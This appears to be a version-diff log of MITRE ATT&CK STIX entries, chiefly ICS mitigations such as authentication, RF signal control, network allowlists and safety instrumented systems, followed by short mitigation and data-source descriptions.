| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-05-06 17:47:24.060000+00:00 |
| description | The device should require that a user authenticates before they can remotely access it, or send a command to it. While strong multi-factor authentication is preferrable, it is not always feasible within this ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials). Therefore, associated ATT&CK mitigations should be considered in addition to this, including Multi-factor Authentication (M1032), Account Use Policies (M1036), Password Policies (M1027), User Account Management (M1018), Privileged Account Management (M1026), and User Account Control (M1052). | Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials). Therefore, associated ATT&CK mitigations should be considered in addition to this, including [Multi-factor Authentication](https://attack.mitre.org/mitigations/M0932), [Account Use Policies](https://attack.mitre.org/mitigations/M0936), [Password Policies](https://attack.mitre.org/mitigations/M0927), [User Account Management](https://attack.mitre.org/mitigations/M0918), [Privileged Account Management](https://attack.mitre.org/mitigations/M0926), and [https://attack.mitre.org/mitigations/M1052/ User Account Control]. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0804 | https://attack.mitre.org/mitigations/M0804 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Utilize a layered protection design based on physical or mec | t | 1 | Utilize a layered protection design based on physical or mec |
| > | hanical protection systems to prevent damage to property, eq | > | hanical protection systems to prevent damage to property, eq | ||
| > | uipment, human safety, or the environment. Preferably protec | > | uipment, human safety, or the environment. Examples include | ||
| > | tion devices should have minimal digital components to preve | > | interlocks, rupture disk, release values, etc. (Citation: A | ||
| > | nt exposure to related adversarial techniques. Examples of i | > | G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 200 | ||
| > | nclude interlocks, rupture disk, release values, etc. (Citat | > | 4) | ||
| > | ion: IEC 61511) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-05-06 17:47:24.046000+00:00 |
| description | Utilize a layered protection design based on physical or mechanical protection systems to prevent damage to property, equipment, human safety, or the environment. Preferably protection devices should have minimal digital components to prevent exposure to related adversarial techniques. Examples of include interlocks, rupture disk, release values, etc. (Citation: IEC 61511) | Utilize a layered protection design based on physical or mechanical protection systems to prevent damage to property, equipment, human safety, or the environment. Examples include interlocks, rupture disk, release values, etc. (Citation: A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0805 | https://attack.mitre.org/mitigations/M0805 |
| external_references[1]['source_name'] | IEC 61511 | A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004 |
| external_references[1]['description'] | A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith. (2004). APPLYING THE LATEST STANDARD FOR FUNCTIONAL SAFETY — IEC 61511. Retrieved September 17, 2020. | A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004 APPLYING THE LATEST STANDARD FOR FUNCTIONAL SAFETY IEC 61511 Retrieved. 2020/09/17 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Wireless signals frequently propagate outside of organizatio | t | 1 | Wireless signals frequently propagate outside of organizatio |
| > | nal boundaries, which provide opportunities for adversaries | > | nal boundaries, which provide opportunities for adversaries | ||
| > | to monitor or gain unauthorized access to the wireless commu | > | to monitor or gain unauthorized access to the wireless netwo | ||
| > | nication. (Citation: CISA Mar 2010) To minimize this threat, | > | rk. (Citation: CISA March 2010) To minimize this threat, org | ||
| > | organizations should implement measures to detect, understa | > | anizations should implement measures to detect, understand, | ||
| > | nd, and reduce unnecessary RF propagation. (Citation: DHS Na | > | and reduce unnecessary RF propagation. (Citation: DHS Natio | ||
| > | tional Urban Security Technology Laboratory Apr 2019) Techni | > | nal Urban Security Technology Laboratory April 2019) | ||
| > | ques can include (i) reducing transmission power on wireless | ||||
| > | signals, (ii) adjust antenna gain to prevent extensions bey | ||||
| > | ond organizational boundaries, and (iii) employ RF shielding | ||||
| > | techniques to block excessive signal propagation. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-3-3:2013 - SR 1.6', 'IEC 62443-4-2:2019 - CR 1.6', 'NIST SP 800-53 Rev. 4 - SC-40'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-05-06 17:47:24.048000+00:00 |
| description | Wireless signals frequently propagate outside of organizational boundaries, which provide opportunities for adversaries to monitor or gain unauthorized access to the wireless communication. (Citation: CISA Mar 2010) To minimize this threat, organizations should implement measures to detect, understand, and reduce unnecessary RF propagation. (Citation: DHS National Urban Security Technology Laboratory Apr 2019) Techniques can include (i) reducing transmission power on wireless signals, (ii) adjust antenna gain to prevent extensions beyond organizational boundaries, and (iii) employ RF shielding techniques to block excessive signal propagation. | Wireless signals frequently propagate outside of organizational boundaries, which provide opportunities for adversaries to monitor or gain unauthorized access to the wireless network. (Citation: CISA March 2010) To minimize this threat, organizations should implement measures to detect, understand, and reduce unnecessary RF propagation. (Citation: DHS National Urban Security Technology Laboratory April 2019) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0806 | https://attack.mitre.org/mitigations/M0806 |
| external_references[1]['source_name'] | CISA Mar 2010 | CISA March 2010 |
| external_references[1]['description'] | CISA. (2010, March). Securing Wireless Networks. Retrieved September 17, 2020. | CISA 2010, March Securing Wireless Networks Retrieved. 2020/09/17 |
| external_references[2]['source_name'] | DHS National Urban Security Technology Laboratory Apr 2019 | DHS National Urban Security Technology Laboratory April 2019 |
| external_references[2]['description'] | DHS National Urban Security Technology Laboratory. (2019, April). Radio Frequency Detection, Spectrum Analysis, and Direction Finding Equipment. Retrieved September 17, 2020. | DHS National Urban Security Technology Laboratory 2019, April Radio Frequency Detection, Spectrum Analysis, and Direction Finding Equipment Retrieved. 2020/09/17 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-05-06 17:47:24.048000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0816 | https://attack.mitre.org/mitigations/M0816 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Network allowlists can be implemented through either host-ba | t | 1 | Network allowlists can be implemented through either host-ba |
| > | sed files or system hosts files to specify what external con | > | sed files or system hosts files to specify what connections | ||
| > | nections (e.g., IP address, MAC address, port, protocol) can | > | (e.g., IP address, MAC address, port, protocol) can be made | ||
| > | be made from a device. Allowlist techniques that operate at | > | from a device. Allowlist techniques that operate at the app | ||
| > | the application layer (e.g., DNP3, Modbus, HTTP) are addres | > | lication layer (e.g., DNP3, Modbus, HTTP) are addressed in [ | ||
| > | sed in Filter Network Traffic mitigation. | > | Filter Network Traffic](https://attack.mitre.org/mitigations | ||
| > | /M0937) mitigation. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - AC-3'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 20:53:36.319000+00:00 | 2022-05-06 17:47:24.060000+00:00 |
| description | Network allowlists can be implemented through either host-based files or system hosts files to specify what external connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation. | Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in [Filter Network Traffic](https://attack.mitre.org/mitigations/M0937) mitigation. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0807 | https://attack.mitre.org/mitigations/M0807 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Deploy mechanisms to protect the confidentiality of informat | t | 1 | Deploy mechanisms to protect the confidentiality of informat |
| > | ion related to operational processes, facility locations, de | > | ion related to operational processes, facility locations, de | ||
| > | vice configurations, programs, or databases that may have in | > | vice configurations, programs, or databases that may have in | ||
| > | formation that can be used to infer organizational trade-sec | > | formation that can be used to infer organizational trade-sec | ||
| > | rets, recipes, and other intellectual property (IP). Example | > | rets, recipes, and other intellectual property (IP). | ||
| > | mitigations could include restricting read privileges, encr | ||||
| > | ypting data, and obfuscating the information (e.g., facility | ||||
| > | coverterms, codenames). In many cases this information may | ||||
| > | be necessary to support critical engineering, maintenance, o | ||||
| > | r operational functions, therefore, it may not be feasible t | ||||
| > | o implement. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-3-3:2013 - SR 4.1', 'IEC 62443-4-2:2019 - CR 4.1'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2022-05-06 17:47:24.051000+00:00 |
| description | Deploy mechanisms to protect the confidentiality of information related to operational processes, facility locations, device configurations, programs, or databases that may have information that can be used to infer organizational trade-secrets, recipes, and other intellectual property (IP). Example mitigations could include restricting read privileges, encrypting data, and obfuscating the information (e.g., facility coverterms, codenames). In many cases this information may be necessary to support critical engineering, maintenance, or operational functions, therefore, it may not be feasible to implement. | Deploy mechanisms to protect the confidentiality of information related to operational processes, facility locations, device configurations, programs, or databases that may have information that can be used to infer organizational trade-secrets, recipes, and other intellectual property (IP). |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0809 | https://attack.mitre.org/mitigations/M0809 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Provide operators with redundant, out-of-band communication | t | 1 | Have alternative methods to support communication requiremen |
| > | to support monitoring and control of the operational process | > | ts during communication failures and data integrity attacks. | ||
| > | es, especially when recovering from a network outage. (Citat | > | (Citation: National Institute of Standards and Technology A | ||
| > | ion: NIST Apr 2013)(Citation: DARPA) Out-of-band communicati | > | pril 2013) (Citation: Defense Advanced Research Projects Age | ||
| > | on should utilize diverse systems and technologies to minimi | > | ncy) | ||
| > | ze common failure modes and vulnerabilities within the commu | ||||
| > | nications infrastructure. For example, wireless networks (e. | ||||
| > | g., 3G, 4G) can be used to provide diverse and redundant del | ||||
| > | ivery of data. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - SC-37'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2022-05-06 17:47:24.053000+00:00 |
| description | Provide operators with redundant, out-of-band communication to support monitoring and control of the operational processes, especially when recovering from a network outage. (Citation: NIST Apr 2013)(Citation: DARPA) Out-of-band communication should utilize diverse systems and technologies to minimize common failure modes and vulnerabilities within the communications infrastructure. For example, wireless networks (e.g., 3G, 4G) can be used to provide diverse and redundant delivery of data. | Have alternative methods to support communication requirements during communication failures and data integrity attacks. (Citation: National Institute of Standards and Technology April 2013) (Citation: Defense Advanced Research Projects Agency) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0810 | https://attack.mitre.org/mitigations/M0810 |
| external_references[1]['source_name'] | NIST Apr 2013 | National Institute of Standards and Technology April 2013 |
| external_references[1]['description'] | National Institute of Standards and Technology. (2013, April). Security and Privacy Controls for Federal Information Systems and Organizations. Retrieved September 17, 2020. | National Institute of Standards and Technology 2013, April Security and Privacy Controls for Federal Information Systems and Organizations Retrieved. 2020/09/17 |
| external_references[2]['source_name'] | DARPA | Defense Advanced Research Projects Agency |
| external_references[2]['description'] | Defense Advanced Research Projects Agency. (n.d.). Rapid Attack Detection, Isolation and Characterization Systems (RADICS). Retrieved September 17, 2020. | Defense Advanced Research Projects Agency National Institute of Standards and Technology 2013, April Security and Privacy Controls for Federal Information Systems and Organizations Retrieved. 2020/09/17 Rapid Attack Detection, Isolation and Characterization Systems (RADICS) Retrieved. 2020/09/17 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Redundancy could be provided through both the devices or ser | t | 1 | Redundancy could be provided for both critical ICS devices a |
| > | vices, such as back-up devices or hot-standby's. Hot-standby | > | nd services, such as back-up devices or hot-standbys. | ||
| > | s in diverse locations can ensure continued operations if th | ||||
| > | e primarily system are compromised or unavailable. At the ne | ||||
| > | twork layer, protocols such as the Parallel Redundancy Proto | ||||
| > | col (PRP, IEC 62439-3:2012-07) can be used to simulatenously | ||||
| > | use redundant and diverse communication over a local networ | ||||
| > | k. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - CP-9'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2022-05-06 17:47:24.054000+00:00 |
| description | Redundancy could be provided through both the devices or services, such as back-up devices or hot-standby's. Hot-standbys in diverse locations can ensure continued operations if the primarily system are compromised or unavailable. At the network layer, protocols such as the Parallel Redundancy Protocol (PRP, IEC 62439-3:2012-07) can be used to simulatenously use redundant and diverse communication over a local network. | Redundancy could be provided for both critical ICS devices and services, such as back-up devices or hot-standbys. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0811 | https://attack.mitre.org/mitigations/M0811 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Utilize Safety Instrumented Systems (SIS) to provide an addi | t | 1 | Utilize Safety Instrumented Systems (SIS) to provide an addi |
| > | tional layer of protection to hazard scenarios that may caus | > | tional layer of protection to hazard scenarios that may caus | ||
| > | e property damage. A SIS will typically included sensors, lo | > | e property damage. A SIS will typically include sensors, log | ||
| > | gic solvers, and a final control element that can be used to | > | ic solvers, and a final control element that can be used to | ||
| > | automatically respond to an hazardous condition. Ensure tha | > | automatically respond to an hazardous condition (Citation: | ||
| > | t all SISs are segmented from operational networks to preven | > | A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2 | ||
| > | t them from being targeted by additional adversarial behavio | > | 004) . Ensure that all SISs are segmented from operational n | ||
| > | r. | > | etworks to prevent them from being targeted by additional ad | ||
| > | versarial behavior. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2022-05-06 17:47:24.056000+00:00 |
| description | Utilize Safety Instrumented Systems (SIS) to provide an additional layer of protection to hazard scenarios that may cause property damage. A SIS will typically included sensors, logic solvers, and a final control element that can be used to automatically respond to an hazardous condition. Ensure that all SISs are segmented from operational networks to prevent them from being targeted by additional adversarial behavior. | Utilize Safety Instrumented Systems (SIS) to provide an additional layer of protection to hazard scenarios that may cause property damage. A SIS will typically include sensors, logic solvers, and a final control element that can be used to automatically respond to an hazardous condition (Citation: A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004) . Ensure that all SISs are segmented from operational networks to prevent them from being targeted by additional adversarial behavior. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0812 | https://attack.mitre.org/mitigations/M0812 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004', 'description': 'A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004 APPLYING THE LATEST STANDARD FOR FUNCTIONAL SAFETY IEC 61511 Retrieved. 2020/09/17 ', 'url': 'https://www.icheme.org/media/9906/xviii-paper-23.pdf'} |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Require the authentication of devices and software processes | t | 1 | Require the authentication of devices and software processes |
| > | where appropriate. Devices that connect remotely to other s | > | where appropriate. Devices that connect remotely to other s | ||
| > | ystems should require strong authentication to prevent spoof | > | ystems should require strong authentication to prevent spoof | ||
| > | ing of communications. Furthermore, software processes shoul | > | ing of communications. Furthermore, software processes shoul | ||
| > | d also require authentication if accessing a local or remote | > | d also require authentication when accessing APIs. | ||
| > | API. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-3-3:2013 - SR 1.2', 'IEC 62443-4-2:2019 - CR 1.2', 'NIST SP 800-53 Rev. 4 - IA-9'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2022-05-06 17:47:24.057000+00:00 |
| description | Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication if accessing a local or remote API. | Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0813 | https://attack.mitre.org/mitigations/M0813 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Configure hosts and devices to use static network configurat | t | 1 | Configure hosts and devices to use static network configurat |
| > | ions when possible, protocols that require dynamic discovery | > | ions when possible, protocols that require dynamic discovery | ||
| > | /addressing (e.g., ARP, DHCP, DNS) can be used to manipulate | > | /addressing (e.g., ARP, DHCP, DNS) can be used to manipulate | ||
| > | network message forwarding and enable various MitM attacks. | > | network message forwarding and enable various MitM attacks. | ||
| > | This mitigation may not always be usable due to limited dev | > | This mitigation may not always be usable due to limited dev | ||
| > | ice features or challenges introduced with network configura | > | ice features or challenges introduced with different network | ||
| > | tions. | > | configurations. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-3-3:2013 - SR 7.7', 'IEC 62443-4-2:2019 - CR 7.7', 'NIST SP 800-53 Rev. 4 - CM-7'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2022-05-06 17:47:24.057000+00:00 |
| description | Configure hosts and devices to use static network configurations when possible, protocols that require dynamic discovery/addressing (e.g., ARP, DHCP, DNS) can be used to manipulate network message forwarding and enable various MitM attacks. This mitigation may not always be usable due to limited device features or challenges introduced with network configurations. | Configure hosts and devices to use static network configurations when possible, protocols that require dynamic discovery/addressing (e.g., ARP, DHCP, DNS) can be used to manipulate network message forwarding and enable various MitM attacks. This mitigation may not always be usable due to limited device features or challenges introduced with different network configurations. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0814 | https://attack.mitre.org/mitigations/M0814 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Utilize watchdog timers to ensure devices can quickly detect | t | 1 | Utilize watchdog timers to ensure devices can quickly detect |
| > | whether a system is operational, unresponsive, or in a good | > | whether a system is unresponsive. | ||
| > | state. System / process restarts should be performed when a | ||||
| > | timeout condition occurs. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-4-2:2019 - CR 7.2'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2022-05-06 17:47:24.060000+00:00 |
| description | Utilize watchdog timers to ensure devices can quickly detect whether a system is operational, unresponsive, or in a good state. System / process restarts should be performed when a timeout condition occurs. | Utilize watchdog timers to ensure devices can quickly detect whether a system is unresponsive. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0815 | https://attack.mitre.org/mitigations/M0815 |
Current version: 1.0
Description: Configure features related to account use like login attempt lockouts, specific login times, etc.
Current version: 1.1
Description: Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.
Current version: 1.1
Description: Use signatures or heuristics to detect malicious software.
Current version: 1.0
Description: This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.
Current version: 1.1
Description: Restrict execution of code to a virtual environment on or in transit to an endpoint system.
Current version: 1.1
Description: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.
Current version: 1.0
Description: Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.
Current version: 1.1
Description: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.
Current version: 1.1
Description: Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.
Current version: 1.1
Description: Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.
Current version: 1.0
Description: Protect sensitive information with strong encryption.
Current version: 1.1
Description: Block execution of code on a system through application control, and/or script blocking.
Current version: 1.1
Description: Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.
Current version: 1.1
Description: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.
Current version: 1.0
Description: Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.
Current version: 1.0
Description: Block users or groups from installing or using unapproved hardware on systems, including USB devices.
Current version: 1.0
Description: Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.
Current version: 1.0
Description: Use intrusion detection signatures to block traffic at network boundaries.
Current version: 1.1
Description: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.
Current version: 1.1
Description: Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.
Current version: 1.0
Description: Set and enforce secure password policies for accounts.
Current version: 1.1
Description: Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.
Current version: 1.1
Description: Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.
Current version: 1.0
Description: Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.
Current version: 1.0
Description: Restrict the ability to modify certain hives or keys in the Windows Registry.
Current version: 1.0
Description: Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.
Current version: 1.0
Description: Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.
Current version: 1.1
Description: Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.
Current version: 1.0
Description: A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.
Current version: 1.0
Description: Perform regular software updates to mitigate exploitation risk.
Current version: 1.1
Description: Manage the creation, modification, use, and permissions associated to user accounts.
Current version: 1.1
Description: Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.
Current version: 1.1
Description: Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.
Current version: 1.0
Description: A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)(Citation: Microsoft AD DS Getting Started)
Current version: 1.0
Description: Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)
Current version: 1.0
Description: A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications
Current version: 1.0
Description: Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon AWS)(Citation: Azure Products)
Current version: 1.0
Description: Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)
Current version: 1.0
Description: A set of containerized computing resources that are managed together but have separate nodes to execute various tasks and/or applications(Citation: Kube Cluster Admin)(Citation: Kube Cluster Info)
Current version: 1.0
Description: A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)
Current version: 1.0
Description: A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another(Citation: Docker Docs Container)
Current version: 1.0
Description: Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)
Current version: 1.0
Description: A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)
Current version: 1.0
Description: A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used(Citation: IOKit Fundamentals)(Citation: Windows Getting Started Drivers)
Current version: 1.0
Description: A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)
Current version: 1.0
Description: A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules(Citation: AWS Sec Groups VPC)
Current version: 1.0
Description: Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI
Current version: 1.0
Description: A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights(Citation: Amazon IAM Groups)
Current version: 1.0
Description: A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment(Citation: Microsoft Image)(Citation: Amazon AMI)
Current version: 1.0
Description: A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers(Citation: Amazon VM)(Citation: Google VM)
Current version: 1.0
Description: Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet
Current version: 1.0
Description: A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components(Citation: STIG Audit Kernel Modules)(Citation: Init Man Page)
Current version: 1.0
Description: Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorizaton(Citation: Microsoft Audit Logon Events)
Current version: 1.0
Description: Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries
Current version: 1.0
Description: Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)
Current version: 1.0
Description: Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it(Citation: Microsoft Named Pipes)
Current version: 1.0
Description: A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)
Current version: 1.0
Description: Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)
Current version: 1.0
Description: A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims
Current version: 1.0
Description: A single unit of shared resources within a cluster, comprised of one or more containers(Citation: Kube Kubectl)(Citation: Kube Pod)
Current version: 1.0
Description: Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)
Current version: 1.0
Description: Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)
Current version: 1.0
Description: A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)
Current version: 1.0
Description: Information from host telemetry providing insights about system status, errors, or other notable functional activity
Current version: 1.0
